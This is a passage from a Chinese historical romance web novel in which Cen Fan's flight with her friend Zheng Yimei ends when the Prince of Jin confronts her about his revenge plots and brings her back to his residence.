岑璠盯着鱼竿,并未隐瞒,坦然道:“松白这个名号其实是我阿娘的,我只是在阿娘走后,用这个名字继续画下去而已。” 她阿娘其实在闺中时画就极好,只是过去拘于后院,那些画不常给外人看到,父亲走后,才开始以松白先生的名号画山水花鸟。 也是自那时起,阿娘开始亲自教导她画画。 那时阿娘喜怒无常,她画的手都疼了也不让停,有的时候哭闹,被关在屋子里饿一天也是常有的事。 阿娘带走阿弟的那天,她正是因为画一幅垂钓图与阿娘起了争执,那时她不愿画那幅画,阿娘骂了两句,把她一个人扔在了山下。 待她自己摸黑找回慈云寺时,就得知阿娘带着弟弟走了的事。 后来阿娘没了,便再也没人逼她画画了。 岑璠握了握鱼竿,刚围上来的鱼儿便又散开了。 忽地,一颗果子递到了嘴边,“皎皎吃颗果子吧。” 岑璠低了头,看着那葱段似的手指停在嘴边,愣了一瞬。 郑伊湄笑盈盈地将那颗果子塞到了她嘴里,“吃吧,甜的。” 岑璠含着果子看她,许久之后,才将果子嚼碎咽下去。 确实是甜的,就像给她的梨膏糖一样 周围静了下来,鱼又朝鱼竿聚起来,郑伊湄的鱼竿动了两下,只是不知为何,她没有及时收竿。 那鱼却等不急,扯了鱼饵跑了 郑伊湄无言换了饵,又将竿抛到水里。 许久之后,她道:“皎皎,我开始喜欢松白先生的画,是在四年前。” “嗯?” 郑伊湄展开笑靥,“我喜欢的是你的画,从前的松白先生画虽好,可真正让这个名字广为人知的,是皎皎。” 岑璠顿时脸红了些,不知道怎么接话,最后只前言不搭后语地说了一句,“阿湄若是喜欢,等我养好手,给阿湄再画一幅…” 郑伊湄看着她手上的疤,问道:“皎皎的手到底是怎么伤的?” 岑璠愣了一瞬,脑中闪过那趴在她身上的柳家人的尸体,心底泛起一阵恶寒。 她连忙摸了颗果子,压了压胸口的恶心,含糊道:“就是场意外罢了…” 郑伊湄没再多问。 一来二去,两人的注意力终于回到了钓鱼上。 不过一会儿,岑璠的鱼竿动了动。 “皎皎,快收竿!” 岑璠站起了身,一提鱼竿,一只大鲤鱼甩着尾跃出水面,水声哗然,水花溅到了岸上。 两人俱是往后一缩,惊起一阵欢笑声。 眼瞧着那只鲤鱼到了篓边还在扑腾,郑伊湄挽起袖子,用手抓了鱼,岑璠将钩从鱼嘴上摘下来,鱼摇着尾巴进篓,水甩了一身。 她毫不在意,拿袖子擦脸上的水,嘴角始终扬着笑,眼中闪着粼粼波光。 郑伊湄拿出帕子递给她,“别拿袖子擦,我这儿有帕子。” 岑璠愣了一瞬,接过帕子擦了擦。 她忽然反应过来,她真的太久都没有这样高兴过了 郑伊湄盖上鱼篓,给岑璠重新绑了饵。 连着又钓了几条小鱼,夕阳渐沉,蒲菊带着人回来,收起东西回院子。 晚风微凉,月朗星稀,月光清如流水,院中树影铺了满地。 亭中已经摆了几道糕点,雕花蜜煎饺、酥姜皮蛋、荔枝甘露饼,都做的格外精巧。 活鱼鲜美,郑伊湄差人将刚才钓到的大鲤鱼送去,做成羹汤,又拿了酒来。 桌上的白玉酒壶中,隐隐约约能散发着清香,岑璠将酒壶拿近了些,仔细闻了闻。 “好香的酒。” “这是新下的落桑酒。”郑伊湄笑了笑,拿起酒壶,斟了一杯,“皎皎可愿喝两杯?” 岑璠并不是很能喝酒,可也并非滴酒不沾,她举起空杯,“那就劳烦阿湄帮我斟一杯了。” 郑伊湄便帮她也倒了一杯,两人举杯轻碰。 岑璠仰起头,看着那轮明月,不禁感叹—— 要是能一直这般就好了。 * 远处的京城并不算安静。 皇帝不喜先后所出的二皇子,可这些年韬光养晦,在晋阳势力已成,如今南有大梁,北有柔然,正是用兵之际,是以晋王领兵回来时,还是给了封号,还在洛阳赐了一座府邸。 王府虽是气派,却离皇宫并不近,在青阳门外的孝敬里旁。 这却并不妨碍虞家将信递到晋王府门口。 晋王府的主院,灯火未熄。 韩泽将信传给晋王时,轻轻瞥了一眼趴在床上的主子,只觉得心疼。 六十军棍啊…… 皇帝虽是不喜这个儿子,毕竟是亲生的,倒是真狠得下心开口。 若不是那杖刑的侍卫下手轻,那是要出人命的。 也不知道那虞家的姑娘是哪路神仙,自家主子宁可和皇上叫板,挨六十大军棍也要娶。 最要紧的还不是这些,如今那姑娘竟然还要逃婚…… 韩泽犹豫了好几个时辰,才决定将虞家人那里听来的事告诉他,走到跟前,却又说不出口了。 “何事?”元衡却是问道。 韩泽抬起眼,“殿下,刚刚…虞家派人来了信,说是岑姑娘她午时出了门,到现在未归……” 元衡能想到的,只有一种可能,“可是她出了什么事?” 韩泽眼神却飘忽不定,憋了半天也说不出话。 元衡捏拳撑起身端坐,盯着他道:“究竟发生了什么?她怎么了?” “姑娘她无事…”韩泽一闭眼,倒也不忍心说什么逃婚不逃婚的,一口气说完,” 只是姑娘走的时候,把周围的人都带走了,出去的时候也未告诉任何人……” 房内静了,许久都没有声音。 韩泽瞄了眼房内的那位,那位在府中连着休养了几日,如今头发散乱着,不羁中却有些说不出的阴郁。 站在这儿走也不是,不走也不是。 房内的烛火摇曳了一下,只听那人说了一句,“虞家的话,不可信。” 韩泽抬起头,忽然反应过来,连忙点头,“是这样没错。” 那虞家是皇后的人,自家主子看上的不过是个外室女,虞家弃车保帅,为了挑拨关系舍弃这个女儿,也未尝不可能。 韩泽这么想着,便愈发确信,是虞家在背后搞鬼。 还是自家主子想得多,竟是差点被那虞家戏耍了去! 还是主子想得多啊…… 韩泽放下心来,身上的汗也不冒了,未再听到什么吩咐,便转过身离开。 只是还没走门口,却是听到门外的禀报声。 元衡朝门外看去,道:“何事?” 门外的暗卫道:“回殿下,是岑姑娘的事。” 元衡抿了唇,思索片刻,道:“进。” 穿着黑衣的暗卫进门,倒也没闭着韩泽,利利索索跪下。 韩泽下意识站得离那暗卫远了些,复而看向自家殿下。 那暗卫行礼,眼底并没有多少人情,陈述道:“殿下,岑姑娘身边的人来报,说姑娘今日一早送走了身边的婢女,坐着马车离开,临走时未告诉任何人。” 韩泽:“……” 周围寂静无声,韩泽屏住了呼吸。 元衡眼一移,冷冷看住那暗卫,问,“她现在在哪儿?” 暗卫顿了顿,头微低,“郑氏的别院。” “谁?” “郑氏六姑娘的别院,”那暗卫解释道:“据属下探来的消息,郑中书令并不知道此事,是郑姑娘自己的主意,但…” 说到此处,暗卫也收住了话。 能说的他都说了,剩下的他也不知道当讲不当讲。 元衡脸上平静,并无怒色,可在旁人看来,就如同盖了一层阴云。 他一掀眼,那暗卫低了头。 “再不说,自己下去领罚。” 那暗卫道了声“不敢”,如实道:“岑姑娘本意也不是要和郑姑娘走,只是偶然碰到的,今日虞家外有接应的马车,和岑姑娘出去的另有其人……” 说到此处,暗卫也犹豫了。 韩泽手心早已攥了汗,心提到了嗓子眼。 元衡却要问个到底,“是谁?” “是杨将军……亲自去接的姑娘……” 元衡脸色又白了几分,轻轻咳了几声,似还有不甘,“哪个杨将军,你给孤说清楚。” “是……” 暗卫嘴动了动,避开他的目光,最后也没说出口,只一抱拳,“殿下息怒。” 元衡并不是那么轻易动怒的人,仍静静坐在床边,头发披肩,闭上了眼。 留在房中的两人谁也不敢动,韩泽愣在了原地,脑子里转了十八个弯,闪过无数种可能。 忽地,榻上的人呕了一大口血。 韩泽吓得腿哆嗦,颤颤巍巍上前,“殿下…” 元衡用手背抹了下颚上沾的血,手指紧抓着床边,骨节泛起白,头发愈发散乱。 韩泽直着急,“殿下…再着急的事,也要顾及自己的身子…” 元衡一摆手,示意他别说话,自己调整片刻,哑声问道:“她现在还在郑家?” “殿下放心,眼下还在,有人看着。” 元衡胸口起伏,久久未能平息,须臾后眼神微动,对暗卫道:“你去查,太尉现在何处。” 他说完,眼眸陡然阴鸷,“韩泽,你带些人,随本王去郑家。” * 远处的别院,水榭中充斥着酒味。 桌上有半坛酒,地下还有一坛喝空的,那只装模作样的玉壶早已倒在一旁。 郑伊湄抱着那坛酒,早已喝的半醉,嘴里念叨着,“我的婚事,当年还是爹爹亲自去崔家定的,怎么能说反悔就反悔……” “崔迟景,寻简,大道至简……”她傻笑了两声,“你知道吗,他之所以起这个名字,就是不想参与那些纷争,可若不如此,爹爹便不认他。” 郑伊湄说罢,心底一阵气愤,抱起酒坛又饮了一大口酒。 岑璠虽然没她喝的多,却也是醉了。 她头脑昏沉,一只手支着头,倒没胡言乱语,醉的很是安静。 “皎皎,你有没有喜欢过什么人啊?” 岑璠迷迷糊糊,摇了摇头。 她从小就在山上,没见过什么人,平时常见的也只有寺里的女僧。 如果真的要说,也就只有曾经她假扮的那个晋王了吧。 可自从她知道认错后,便不喜欢了。 她喜欢的,自始至终都是那个给她糖,陪她一起等阿娘回来的人。 自父亲走后,她很少遇到那样纯粹的善意,乳娘和槿儿算,还有外祖父,可她们都是亲人。 当年阿娘一声不响地离开,寺里的人看她可怜,让她住在寺中,只有阿湄愿意陪着她,像是黑暗中的一缕春风暖阳,让人忍不住想靠近…… 那笑容她记了很久。 还好,还好晋王将那块儿玉佩还给了她,还好她没认错人。 她找了那么多年,终于还是找到她了。 岑璠轻轻笑了笑,“若是不分男女,你算。” 郑伊湄坐起来些,“算什么?” “喜欢啊。” 郑伊湄似有不满,“我问的不是这个!” 岑璠又仔细想了想,“我四岁的时候见过一个小公子,挺有趣的…” 郑伊湄来了兴致,笑着问,“那现在呢?” 岑璠摇头,给自己倒了一杯酒,“后来没有说过话了…” 郑伊湄嘟了嘴,又趴回桌上,“好吧……” …… 有着郑伊湄吩咐,蒲菊倒也没有拦着两人喝酒,眼瞧着月上中天才端来醒酒汤,喂两人喝了。 郑伊湄嚷要和岑璠一起睡,蒲菊劝不动,只好将两人都安顿在了主屋。 两人身形相仿,蒲菊拿了件自家姑娘没穿过的,让岑璠换上。 岑璠喝过醒酒汤便醒了一半,躺在床上,只觉得有些困,迷迷糊糊闭着眼。 可睡在一张床上的姑娘却喝了个烂醉,同她一直说夜话,“皎皎逃走,怎么连东西都不带啊?” “没考虑那么多……” 郑伊湄抱了她的胳膊,“我考虑的都比你多!我真的想过很多次,若是哪天真的被赐了婚,就跟着他一起逃走,云游天下也好,做乡野夫妇也好……” “可这样会对不起爹爹,也对不起几个兄长,说不定还会连累一家人。” 岑璠低头,轻声问道:“阿湄当真这么喜欢崔公子?” 郑伊湄点了点头,“当然喜欢,从小到大都很喜欢,一辈子都会喜欢……” 岑璠羡慕这样的感情,她拥有不了,可她希望她能如愿。 “会有办法的。”她道。 “晋王已经把玉佩还我了,他答应会帮我们……” 岑璠睁开眼,“晋王?” “皎皎不知道,阿爹他曾经把那块儿玉佩送给了他。”她将她的手臂抱紧了些,嘟囔道:“还好他还给我了……他也应该还给我,当年若不是我和阿娘,他早都没命了,他怎么有脸不还给我。” 岑璠一直疑惑,那块儿玉佩为何会出现在晋王那里。 如今算是有了些许答案。 她说的当年,是在彭城的时候? “当年发生了什么事?”岑璠问道。 然而却没有等到答声。 岑璠侧头,听见了均匀的呼吸声。 她已经睡着了。 岑璠摇了摇头,拉来被子,给她盖了个严实,自己也闭上了眼。 或许是因为这几日都在担忧这门婚事,岑璠晚上还真梦到了一场大婚。 那家的院门是一座大楼门,屋顶飞檐嵌着祥鸟,红漆门上铆着铜钉,兽嘴衔环,门外挂着两盏红灯笼。 然而那大婚的场面并不算隆重,女子千里迢迢远嫁而来,院门外却无人迎 接,女子的嫁衣也不怎么配得上气派的院门。 女子下了小轿,顺着一旁的小门而入,应当并非正室。 进了院门就更冷清了。 门口那两盏红灯笼,已是这场婚事唯一的点缀。 当晚,女子也没有等到自己的丈夫,屏退了下人,就那么守了一夜。 那对龙凤花烛点终于要灭时,天也要亮了。 黎明之时,女子呜咽出声。 岑璠觉得自己应该不会如此,起码对晋王,那或许将成为她丈夫的人,她不会哭。 可她同情梦中的姑娘。 等了整整一夜,哭的这般伤心,想必是喜欢极了自己的丈夫,也曾对自己的婚事抱过期待吧…… 岑璠想在梦里安慰那女子几句,却觉得自己离那婚床上的女子越来越远,接着梦便渐渐消散了。 …… 翌日起来时,身旁已经没了人。 岑璠从小到大没喝过那么多酒,睡醒后觉得浑身乏力,嗓子和头都隐隐做痛。 她趿了鞋,环视一圈,在内间都没有找到人。 静悄悄的,一个人也没有。 岑璠披着衣裳,向外走去,“阿湄?” 房内没有人回答,岑璠心底渐渐升起不安,步子快了些,又唤了一声,“阿湄?紫芯?” 还是没有任何回应。 绕过屏风,岑璠的脚步却骤然顿住,再也说不出话。 外间的坐床上坐着一个男人,比起前几日,那唇色苍白无色,脸上难掩病态,一袭宽松的藏青色袖袍,衬得五官更加俊美,却似凝了一层冰霜。 他似是在这里等了许久,一直闭目,端坐在暗处,骨节分明的手指上还绕了一条白色发带。 是那日她落在冷宫里的那条…… 岑璠下意识往后退了一步,手不可察觉地拢紧了身上披的衣裳。 下一瞬,他睁了眼,直对上她的眸,刹那间寒芒刺骨。 “醒了?” 第25章 第二十五章(文案)还有什么要替自己…… 元衡的语气刻薄冷漠,又似压抑着怒火。 他一夜没睡,来时问过,听说她和那位郑六姑娘喝了一夜的酒。 连头发都睡乱了,真是喝的不少。 岑璠尽量保持镇定,问道:“阿湄呢?” 元衡下颌动了动,沉默了一会儿,手撑着一旁的小桌,站了起来,走到她面前,压迫感迎面而来。 “违抗皇令,你说她能去哪儿?” 岑璠顿时脸白了几分,他每再走一步,她便往后退一步,脚后跟抵在了门槛上,“不关她的事——” “那你告诉孤,关谁的事?”元衡打断了她的话,追问道:“姓杨的吗?” 岑璠面色淡然,“也不光是他,殿下不如再去问问身边的人。” “那就是舅父。”元衡自己答了一句,又近了一步,“你就这么情愿同他们走?” 岑璠无路可退,平视前方,避开那似要噬人的目光,不敢承认半个字 她只说:“阿湄她没想抗旨。” 元衡攥紧手里的那条发带,俯下身去,逼她直视他。 岑璠对上那道染上厉色的目光,深吸一口气,“我说的句句属实,殿下…明察。” “嗯,还有什么别的想替自己说吗?” 温热的气息近在咫尺,岑璠屏住了自己的呼吸,背抵在门扉上,肩头披着的衣裳滑落,寝衣单薄,能清楚地感受到面前男人身体的温度。 她浑身直冒冷汗,慌乱间提醒道:“这里是郑姑娘的房间,殿下贸然闯入,郑家不会…” 元衡听她这般威胁,却是怒火冲到顶点,指尖轻碰上她的唇瓣,一点点描绘着她唇的形状,止住她的话,眼瞳愈发黑,声音冷到极点:“你觉得我会在乎?” 岑璠怔在原地,唇微微颤抖。 她记得昨天阿湄同她说过,晋王并不是个死缠烂打的人,或许是个好人。 可她已经做到了这个份上,他竟是要这样逼她。 那呼吸越来越近,岑璠收紧了唇。 他手指停住,转而下滑,随后捏住了她的下巴。 她的唇泛着红润,比起上一世的苍白好看不少。 这副容貌,无论何时都是美的,不可方物。 薄唇即将贴上去的那一刹那,岑璠开了口,“为什么?” 浮光微尘仍在间隙间涌动,只能听到对方的呼吸,淡雅的香气让人一时心醉。 元衡退开些,轻问道:“什么?” 她颤着声问道:“为什么一定要是我?” 元衡扯开唇笑了,不知道是在笑谁,“孤也想问,为什么?” “除了王妃之位,你还想要什么,孤也想知道。” 他以为自己还想要更多,一直在试探吗? 她解释道:“殿下误会,民女并非贪得无厌之人,也并非想要王妃之位,此番出城也并非是要威胁殿下给更多,那日的事民女既答应不会说出去,便绝对不会说出去。” 元衡静静看着她的唇张合,并未打断她。 岑璠说完这句番话,低下头,停了片刻。 对面的人应该冷静了下来,并未再有太多逾矩的举动。 只是忽然传来声冷笑,元衡抬手,轻轻替她将碎发别在耳后,“你觉得我是怕你威胁?” 岑璠刹那间眼睛睁大了些。 “你不是问我,为何一定是你。” 元衡压低声音,俯身耳语,“因为孤中意的只有你,所以无论如何,便只能是你。” 岑璠愣住,脑中一片空白,神色间透着慌乱。 不论曾经她如何喜欢他,元衡也看得出,如今的她对他并无情意,不想被他看上。 他始终盯着她的眼睛,却还是看不到一点喜色,哪怕是装出来的。 手中的发带顺着指尖漏下,什么也没抓住。 元衡想不通,这一世究竟是哪里不一样。 “为什么…”他不知道该问谁,更不愿意相信,近乎失去理智,“你若厌恶,为何那日在冷宫偏偏找到孤?” 岑璠知道骗不了他,也有些累了,“殿下赎罪,那日在冷宫民女见到的只有殿下,民女所做的一切是为了活命,而如今殿下这王妃的位置,也会让我成为众矢之的,民女想活着…” 她话中的意思是,当时任何一个人在场,她都可以? 是为了活着吗…… 若元斓真的逼她,她确实无路可退,也只有他可以选…… 想到此处,元衡心底慌乱,这辈子寻不到蛛丝马迹,便又将上辈子的事回想了个遍。 她与他的相处的时日并不多,上辈子能想起的也不过几个片段。 可仅仅只是寥寥几笔的相处,也够他否认了。 她绝不可能只是为了活命! 她能在他一无所有的时候守着他,能不顾性命挡在他面前,怎么可能只是为了活命! 上一世他对她不好,她尚能为他豁出性命,这一世他毁了名,挨了打,双手将他能给的都奉上,她却不愿同他亲近。 究竟是为什么? 元衡胸口阵阵钝疼,唇白的没有血色。 可他不想放手。 上一世,就剩下她一个人,就只剩一个真心待他的人…… 他只是想抓住他未曾珍惜过的而已,他可以对她很好,他可以给她想要的。 元衡依旧离她很近,“是谁告诉的你,进了王府会成为众矢之的?是杨知聿,舅父,还是元斓?” 他眼中充了血丝,声音沙哑,“你不信我,你信他们,你信他?你情愿和他走,却不愿意来告诉我?他杨知聿为你做过多少,我又为你做过多少,他说有什么值得你信的,你凭什么信?他能带着你逃,可他有为你想过,抗旨会是什么后果,你以为你让身边那两个人躲回彭城,她们就能活命?” 听过他一大串质问,岑璠只觉得他蛮不讲理,“民女自己也动过心思,况且那道旨意不是因为晋王您才有的吗?为何殿下反而要怨其他人。” 原来他苦心换来的正妃的位置,招来的是怨。 元衡手松了些,自嘲一二,似是打算破罐子破摔,声音变得毫无波澜,“这旨意不可能改,抗旨你我都活不了,虞家也 不会放过你。” 岑璠没有反驳,闭上眼睛。 她的命,从来不在自己手里,抗旨也有人要杀她,逃走也有人要她的命。 随便吧。 元衡最看不得的就是她一副无所谓的态度,他继续道:“你进王府,孤能帮你摆脱虞家,没人敢动你,若是将来你想要更高的位置,孤也给得起。” 就算这么说了,岑璠还是不为所动。 更高的位置,她并不想要。 元衡看出了她的不屑,步步紧逼,“别忘了,孤有恩于你,你不是说过,你会报恩?” “你来当孤的王妃,这些恩情便都算报了,如何?” 岑璠蓦然睁开眼,眉心紧锁。 她听过那女子报恩以身相许的戏文,可没有一段故事是拿着恩情来逼人以身相许的。 忽地,她又想到很久之前,她回洛阳时杨知聿说过的话。 挟恩图报,并非善类。 下药的事是不是他和五公主一同谋划,她也不清楚…… 现下想来,不是没有可能。 她冷道:“殿下不若再冷静几日,民女身份低微,当不起这个位置。” “若是殿下执意要民女以此报恩,也不必是王妃之位。” 元衡蓦地收住了话。 不给她王妃的位置,那她想要什么? 像上一世一样当他的妾室,想走的时候便要一封和离书,干净到连名字都愿不留在王府是吗? 多可笑。 他可还清清楚楚记得上一世她跪在他身旁,同他谈的条件,说只把她放在王府当个摆设便好,说要帮他打探虞家,当他除掉胡氏的一把刀。 她那时说的条件对他而言并不算诱人,可不管是为了活命,还是为了进他的王府,他总归是答应了的。 现在他带着伤来,卑躬屈膝,同她说了这么多,只是让她进他的王府,好好做他的妻子,她却一点恻隐之心都没有。 他看她才是真的心狠! 元衡彻底没了法子,笑了两声,不知道是再嘲谁。 他低头看她,声音轻缓,听不出什么情绪,吐字却很清晰,“该冷静的应该是孤的王妃吧,别忘了你还有仇没有报呢。” 他用两人才能听到的声音,徐徐道:“听说你给皇后送了幅画,昨日还去了香铺,送了熏香给家里的父亲?” “你若答应,大可不必如此大费周章,这些仇本王都帮你报,如何?” 岑璠眼睛骤然睁大,“你……” “我怎么,难道你不想报仇?” 岑璠只觉得害怕。 他究竟是怎么知道香铺的事!这件事除了她和乳娘谁都不知道! 她那天在香铺前遇到了杨知聿,难不成是两个人合起伙来骗她,只为了试探她想不想跑? 究竟还有多少人在骗她…… “那香里含有离春草,此种香草毒性不大,可若长期吸食,即使是极少量,不出五年,也会形同槁木,就算是神医也再难让人回春,而此毒毒发缓慢,毒发之时什么也诊不出,只会被认为是病逝。” “岑璠,旁的人觉得我心狠,可你不该这么觉得。” 岑璠没有再说话。 元衡就这么一直盯着她。 沉默许久,岑璠笑了笑,反问道:“我如何算心狠?他虞佑柏杀了我母亲,害我外祖父丢了官位,现在又想毁了我,我还手有什么错!” 她说着这话时仰着头,眼睛通红,收起了所有的胆怯柔弱,全是不服和倔强。 元衡两世都不曾见过她这般样子,像是一朵染了血的刺梅,锋芒毕露。 可他并不讨厌这样的她。 或者说,能逼出她另外一面,欣喜更甚。 “你没错。”元衡直视她的目光,并不惧怕,“我只是想说,咱们才是同一类人。” “晋王殿下什么意思?” 他低声道:“孤的仇人也并非只有皇后一个。” 那声音似地狱而来,冷到幽森,“孤其实同你一样…” 岑璠慢慢品出他话中的意味,彻底呆住,动弹不得,似是想看看他是否在说笑。 元衡唇扬起一个弧度,眼底却并没有多少玩笑,平静地让人毛骨悚然。 “我知道了你的秘密,自然也得告诉你一个,这个秘密交到你手上,现在你想怎样都行。” 他在她耳畔轻轻说道:“要么咱们一起守着秘密活下去,要么一起死也是好的。” 岑璠腿软了些,手扶住门,再也不敢看他,气焰全无。 疯子…… 她声音颤抖,声音虚浮,“晋王殿下可知道,和不喜欢的自己的人在一起,终有一天会厌倦的。” 元衡却是反扶住她的腰,微微一提,逼她看住他,说的笃定,“不会。” 她与他纠缠了八年,也没厌倦他,他自然也不会。 岑璠对上他的眸,“我如此心狠,殿下就不怕我哪日也下点毒?” “孤说了,要死一起死。” 岑璠面色灰白,眼底失了色,浑身似是卸了力,微微动嘴,“殿下莫要同阿湄计较,我和你回去。” 元衡放开她,退开些,什么也没说。 “殿下先出去吧,我换好衣裳……” 她身上的衣裳并不算完全合身,这么一通拉扯下来,领口凌乱。 元衡低头扫了一眼,并没有离开,转身坐回坐榻上。 岑璠抿了抿唇,缓缓走回内间。 元衡并没有催促她,闭目养神,似是累极。 走到他的视线范围之外,岑璠停住了脚步,没有动手去换衣裳,看着床榻,想起昨天醉饮夜话的时候。 令她欢喜的人或事,都转瞬即逝。 她回了京城,选择回虞家,见皇后,就注定可不能喘息。 本想若能大仇得报,她能从此解脱,和她游山玩水,丹青垂钓,现在看来也不能如愿。 她是皎皎明月,而自己沾染上仇恨,惹上这些在阴暗中饮血的人,便永远不可能像她那样干净无尘了。 岑璠眼睛一酸,泪光隐约闪烁。 她闭上眼,指甲掐进手心,将泪意硬生生掐了回去,换上自己昨天沾上酒味的衣裳,用一只簪子随意挽了发。 向外走时,她瞥了眼榻上坐的男人,便直朝着门去。 “你过来。”元衡叫住 岑璠转过身,犹豫再三,未动。 “进去,拿梳子。” 岑璠打量着他,眉微微下压,“殿下要做什么?” 元衡不想同她再磨,扶住一旁的凭几站了起来,走到她面前,看了一眼她的头发,转到她身后。 细长的手指将簪子一拽,乌发如瀑般散开。 她的发不算少,他一手圈住她的发,另一只手将攥出褶皱的发带绑在她的发上,系了个结。 他绑的并不好,发带两端一长一短,系得松松垮垮,两旁的头发在绑的时候从指间漏出,散乱开,比她刚睡起来时还乱,动作轻而笨拙,又显得固执。 岑璠一动不动,由着他做完这些,转过身去,抽走了他指尖夹的簪子,走了出去。 元衡手停了一瞬,跟着她往外走。 门口站的全是侍卫,和昨日见到的人完全不同,郑家的人撤得干净。 “阿湄呢?”岑璠停住脚步,又问了他一遍。 元衡不知道,她为何会这么在意郑伊湄。 他记得她们曾经并无交集,连见面都不曾。 若说唯一的关系,也只是因为他想过要娶那郑家女,而她有所介怀。 “殿下放过她,我不会再想着走。” 她身上的酒味时不时就能闻到,再听到这话,元衡心底更不是滋味。 可到底只是个女人而已,倒也不必在意。 他冷漠道:“她无事,带走她的是她的父亲,并非本王。” 岑璠转过身看他,似有些惊讶,可转念一想,也觉得对。 他就算再疯, 应该也不敢乱闯世家的院子。 她连累了阿湄。 “你放心,郑家只有这一个女儿,只要你还在这京城,便不会有人动她。” 岑璠知道他话中的意思,知道多说无益,又问道:“那墨群和紫芯呢?” “你回去了,他们自然也能回去。” 山间微风拂起,散在两鬓的头发吹得乱了些,岑璠抿唇,将发拨在耳后,未再停留,向外走去。 门口停着一辆牛车,比昨日见到的那辆相比不遑多让,她脚步顿了顿,自己拽了裙摆走上去。 元衡跟着她上了车,坐在她身旁。 这辆车车宽敞平稳,银香案上的忍冬花纹结香炉里熏有正儿八经的迦南香。 岑璠侧头看着窗外,一路上谁都没有说话。 一行人只在城门口停了片刻便放行,无人敢拦下。 一路穿过铜驼街,岑璠终于说了一句,“香铺的父女呢,殿下把他们怎么了?” 元衡缓缓扭头,皱着眉看她,嘴角紧绷,隐忍着情绪,许久之后才道:“他们无事。” 他神情淡漠,像是理所应当,又像是故意提及,“他们不是你的同乡?本王当然不会拿他们怎么样。” 岑璠却无动于衷,“那他们怎么会告诉你?” 元衡道:“当年虞家迁坟之时,曾和京城回来探亲的商贾在路上起过冲突,虞家护卫打伤了一位姑娘的眼睛,那家同行的老人目睹惨状,没过几日便死在了彭城。” “如此大仇,我想那对父女不会轻易松口,可毕竟和你认识,也不敢用刑,万一伤了你肯定要怪,就想了些别的法子。” 岑璠并未理会他话中的讨好,问道:“什么法子?” “你放心,不过是又在那香料里添了些东西。” 岑璠默了声,视线看看垂下。 “可是觉得不妥,想再多留几年?” 岑璠并未说什么,深吸一口气,道:“这是殿下想做的事,莫要加上我的意愿。” 元衡提起唇角笑了笑,“自然,本王说了要帮你报仇,便不会脏了你的手,你大可当作什么都不知,从未经手这些。” 岑璠捏紧了裙摆,眼神失焦,看着别处,显然对他说的并不感兴趣。 元衡又道:“你要想亲手报仇,本王也可以把刀递到你手上。 岑璠未说可否,手指挑开窗幔,向外看去。 元衡未转头,目光聚在她那张表面淡漠世俗的模样。 她没有拒绝他,便是默认。 她比他想象中的,更心狠,更有意思。 他知道她为何一直看着窗外,吩咐了一声,直向大市而去。 大市中热闹熙攘,布衣居多,见到华贵的牛车纷纷避让驻足。 透过帘幔,岑璠看到了香铺中坐着的盲女。 元衡伸手帮她挑起帘子,让她看个清楚。 日光斜入,照得她的脸庞更加白皙,岑璠顿时觉得刺眼,眯起眼眸。 外面观望马车的人偶然瞥见两人,似是认了出来,同两旁拿着酒葫芦的友人说了几句。 岑璠听到了些,放下了帘幔,按下男人的手臂,“看到了,走吧。” 元衡顺势放下手臂,却未收回,撑在窗槛上,问道:“你是不想让别人看到?” 这样一来,岑璠眼睛未眨,也未理视他的语气不善,“殿下误会。” 元衡收回手臂,转而下了车。 岑璠未动,好在他也没让她跟着下去。 再回来时,元衡修长的手指上多了包药材。 岑璠注视着他拎着药材的手,不知道他葫芦里卖的什么药,也不想问。 “伤药。”他没由来说了一句。 岑璠不禁又仔细瞧了几眼。 从今天晨起见到,她便能看出来他的脸色并不是很好。 皇室一脉本就长相便俊美,这晋王又是皇子中相貌最好的一个,凤眼高鼻,睫微长,此时发未束起,病色遮挡住些锋芒,更显出几分柔美,是当下百姓贵族最欣赏的那种长相。 岑璠打量片刻,收回目光。 左右与她无关,伤已经在那儿了,也无需她做什么。 元衡手指微微收紧,声音冷硬,转过头去,“回王府。” “殿下,虞家离大市不远。”她提醒道。 不像前一次留她在别院时,心思还有所隐藏,元衡直言道:“你现在回虞家,孤不放心。” 岑璠了然,不再多说,闭上了眼。 元衡已经习惯了她这般要死不活的态度,“大婚在两个月后,也没多少时日,随孤去看看,不好吗?” 这话虽是在问,可岑璠知道,这并没有讨价还价的余地。 她也不想他在马车里做出什么出格的举动。 “但凭殿下安排。” 元衡手指绕着药材包上的细绳,也未再多言。 王府和虞家分别在东西两角,车又绕了一大圈,才停在王府的大门前。 那大门气派非凡,门铆兽环,飞檐瑞鸟,和她梦中的很像。 不,她梦中的大门比这还要恢弘。 岑璠不经意往后退了一步,却是抵在了硬实的胸膛上。 男人的声音压的低沉,似是不悦,“这王府难不成会吃了你?” 岑璠身子又僵了些。 两侧的大门打开,岑璠依旧站在原地,元衡干脆握住她的手腕,迈开步子。 岑璠默不作声抽开手。 元衡顿了顿,倒也没强迫她。 她走的不快,元衡却非要和她并排走,步子放缓得不自然。 迎面而来的韩泽和两人形成了鲜明的对比,倒着步子,恨不得一路小跑。 岑璠没见过韩泽,可看清楚相貌后,却莫名觉得熟悉。 韩泽气喘吁吁站定在两人面前,给自家主子行了个礼,而后上下将岑璠打量一番。 面前这位姑娘头发梳得凌乱,衣着朴素,可却是清若芙蓉,美得干净,想必是那虞家生出来的女儿。 韩泽退开一步,腰弯得更低了些,毕恭毕敬和她打了声招呼。 “何事?”元衡问道。 韩泽起身,瞧着两张冷脸,知此次他家殿下出去,定是谈得不愉快。 想这位殿下惯来的手段,必是同这位姑娘来硬的,能谈妥才怪。 这么想来,他要说的,也更难开口了。 “到底是何事?” 韩泽支支吾吾,最后用胳膊肘捣向来时路,“杨将军刚才来了府上,非要等殿下回来,现下正在燕誉堂等着呢…” 第26章 第二十六章人,我不可能让 岑璠闻言,余光看向元衡。 元衡轻轻一笑,全然没有愤怒,眼神中满是轻蔑,视线都是向上的。 岑璠也不知道在得意什么,在她看来,只觉得他这副姿态,像是只赌场里斗赢昂着脖子的公鸡。 “你同他说,本王要陪王妃在府里看看,无暇奉陪,他要想等便一直等着。” 说罢,他握了岑璠的手,避开自己的院子,向别处而去。 这晋王府显然要比岑璠见过的任何一个院子都大,起码要抵七八个虞家。 游廊用檀木搭成,散发着清香,地上雕梁画栋,比起郑家看到的别院,还要金碧辉煌。 沿着廊走,穿过一座座错落有致的亭阁,似是没有尽头。 岑璠晨起还未用饭,有些晕眩,渐渐跟不上他的脚步,眼瞧着周围房屋越来越简陋,问道:“殿下这是去做什么?” 元衡看出了她的疲累,却同她卖起了关子,道:“就快到了。” “殿下身上不是还有伤?” 元衡嘴唇白着,道:“无碍。” 